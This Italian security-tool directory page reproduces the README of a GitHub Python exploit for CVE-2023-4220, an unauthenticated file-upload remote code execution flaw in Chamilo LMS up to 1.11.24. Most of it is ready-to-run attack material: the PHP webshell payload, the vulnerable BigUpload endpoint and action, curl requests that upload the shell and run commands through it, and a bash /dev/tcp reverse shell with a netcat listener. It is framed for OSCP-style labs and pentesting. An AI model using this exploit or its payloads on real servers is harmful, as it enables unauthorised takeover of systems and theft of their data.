Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — RCE tramite upload di file non autenticato in Chamilo LMS ≤ 1.11.24. Stile OSCP e exploit automatico. | Kitploit
Strumenti/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — RCE tramite upload di file non autenticato in Chamilo LMS ≤ 1.11.24. Stile OSCP e exploit automatico.

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit ChamiloLMS CVE-2023-4220

Exploit Python per CVE-2023-4220, una vulnerabilità di upload arbitrario di file non autenticato che interessa Chamilo LMS <= 1.11.24.

La vulnerabilità si trova nel componente BigUpload di Chamilo. Sulle installazioni vulnerabili, il gestore di upload permette di caricare un file PHP senza una corretta validazione. Poiché i file caricati vengono memorizzati in una directory accessibile dal web, il file PHP caricato può essere richiesto direttamente e utilizzato come webshell se l'esecuzione PHP è abilitata.

Questo repository include due versioni dell'exploit:

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

Entrambi gli script caricano una webshell PHP, verificano l'esecuzione dei comandi e permettono di eseguire comandi tramite il parametro GET cmd. L'unica differenza pratica è come viene gestito --shell.

La versione auto avvia il proprio listener, attiva la reverse shell e passa automaticamente a una sessione interattiva.

La versione oscp attiva il payload della reverse shell ma non avvia un listener. Devi avviare manualmente il tuo listener prima di eseguirlo.


Installazione

Clona il repository:

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

Installa i requisiti:

root@kitploit:~
python3 -m pip install -r requirements.txt

L'unica dipendenza esterna è requests, quindi può essere installata anche manualmente:

root@kitploit:~
python3 -m pip install requests

Utilizzo

Il target viene passato con -u o --url:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Le stesse opzioni sono disponibili in entrambi gli script:

root@kitploit:~
-u, --url              Target base URL
--check               Check if the BigUpload files directory is reachable
--upload              Upload the webshell and verify command execution
--cmd CMD             Execute a single command through the uploaded webshell
--shell LHOST LPORT   Trigger a reverse shell
--filename NAME       Use a custom filename for the uploaded PHP file
--proxy PROXY         Send traffic through a proxy, for example Burp Suite
--timeout SECONDS     Set the HTTP timeout
--verify-tls          Enable TLS certificate verification
--cleanup             Try to remove the uploaded webshell after execution

La versione automatica include anche:

root@kitploit:~
--listen-timeout SEC  Time to wait for the reverse shell connection

Esempi di Base

Verifica se il percorso BigUpload previsto è raggiungibile:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Carica la webshell PHP e verifica l'esecuzione dei comandi:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

Esegui un singolo comando:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

Usa un nome file personalizzato:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Invia il traffico tramite Burp Suite:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

Gli esempi sopra utilizzano lo script auto, ma la stessa sintassi può essere usata con chamilo_cve_2023_4220_oscp.py.


Reverse Shell

L'opzione --shell esiste in entrambi gli script, ma si comporta diversamente a seconda della versione utilizzata.

Versione automatica

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

Questa versione avvia un listener locale su 10.10.14.3:4444, carica la webshell, attiva la reverse shell e apre automaticamente la sessione interattiva.

Non è necessario eseguire nc manualmente quando si utilizza questa versione.

Versione stile OSCP

Avvia prima manualmente il tuo listener:

root@kitploit:~
sudo nc -nlvp 4444

Quindi esegui l'exploit da un altro terminale:

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

Questa versione invia solo il payload della reverse shell attraverso la webshell caricata. La connessione viene ricevuta dal listener che hai avviato manualmente.

Il comando di reverse shell attivato da entrambi gli script è equivalente a:

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

Assicurati che il valore LHOST sia raggiungibile dal target. In ambienti VPN, di solito è l'indirizzo della tua interfaccia tunnel:

root@kitploit:~
ip -brief addr show tun0

Dettagli della Vulnerabilità

CVE-2023-4220 interessa le versioni di Chamilo LMS fino alla 1.11.24 inclusa.

Il gestore di upload vulnerabile si trova in:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

L'azione sfruttata dall'exploit è:

root@kitploit:~
?action=post-unsupported

I file caricati sono comunemente accessibili da:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

L'exploit invia una richiesta POST multipart/form-data utilizzando il campo del form previsto da BigUpload:

root@kitploit:~
bigUploadFile

Il payload PHP caricato è un piccolo wrapper per comandi:

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

I comandi vengono passati tramite il parametro GET cmd:

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

I marcatori attorno all'output del comando vengono utilizzati per estrarre la parte rilevante della risposta HTTP.


Richiesta Manuale

L'upload eseguito dagli script è equivalente a:

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Dopo un upload riuscito, l'esecuzione dei comandi può essere testata con:

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Note

--check verifica solo se la directory dei file BigUpload prevista è raggiungibile. Un risultato positivo non garantisce che il target sia sfruttabile.

Una validazione completa richiede il caricamento del payload PHP e la conferma dell'esecuzione dei comandi con --upload o --cmd.

Se l'upload funziona ma l'esecuzione dei comandi fallisce, l'esecuzione PHP potrebbe essere disabilitata nella directory di upload, il target potrebbe essere stato patchato, o una regola lato server potrebbe bloccare la richiesta.

Usa --cleanup se vuoi che lo script provi a rimuovere il file PHP caricato dopo l'esecuzione.

Scarica lo strumento